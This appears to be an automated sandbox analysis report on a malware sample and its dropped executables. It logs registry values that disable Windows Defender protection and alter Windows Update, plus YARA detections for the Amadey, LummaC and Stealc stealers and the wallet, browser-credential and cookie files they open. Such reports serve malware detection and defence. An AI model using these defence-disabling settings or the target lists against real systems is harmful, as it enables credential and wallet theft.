Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Lipras\pdf.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002488001\f324957d91.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Code function: 3_2_04880AB0 GetUserNameA,

3_2_04880AB0

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F7UO7T49UKQNSZTWA8QFF.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2154839690.000000000111E000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077401417.0000000005123000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2915907138.0000000005124000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2933985176.0000000005124000.00000004.00000800.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2908952716.00000000006E9000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3077887058.00000000006C5000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.3079048588.00000000006CE000.00000004.00000020.00020000.00000000.sdmp, d816f1d41e.exe, 0000000E.00000003.2907419076.00000000006E6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Lipras\pdf.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 4.2.X42E6LZ0BD4W2FEYDTB0TDC.exe.e70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.7a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 42.2.GCDPOW9ENA4NVWFOVEB6C5C6RP91J2.exe.460000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.2330842559.00000000007A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2249003575.0000000005640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2289746911.0000000000E71000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2276285664.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2663696732.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000002.3183709481.0000000000461000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.3142995124.0000000005050000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2290151058.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2316663623.00000000007A1000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: d40e036167.exe PID: 5948, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d816f1d41e.exe PID: 7100, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 43.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.0.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.f324957d91.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 43.2.num.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.f324957d91.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000002.3075351456.00000000018BB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.3069894615.0000000000A01000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2889844017.0000000000A01000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2849204147.0000000005270000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000000.3179302627.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.3021486634.0000000005430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2891046644.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3194034394.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.3195502176.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000000.2947004348.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2976722761.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2968126684.0000000000181000.00000080.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f324957d91.exe PID: 4408, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002490001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: d816f1d41e.exe, 00000017.00000003.2974221660.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: file.exe, 00000000.00000003.2124284979.0000000001111000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: llets/ElectronCash
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: d816f1d41e.exe, 00000017.00000003.3010756627.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: d816f1d41e.exe, 00000017.00000003.2974221660.0000000001468000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 0},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Wallets/p
Source: file.exe	String found in binary or memory: Wallets/Exodus
Source: d816f1d41e.exe, 00000017.00000003.2974221660.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: d816f1d41e.exe, 00000017.00000003.3010756627.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: d816f1d41e.exe, 00000017.00000003.2974221660.0000000001454000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Lipras\pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
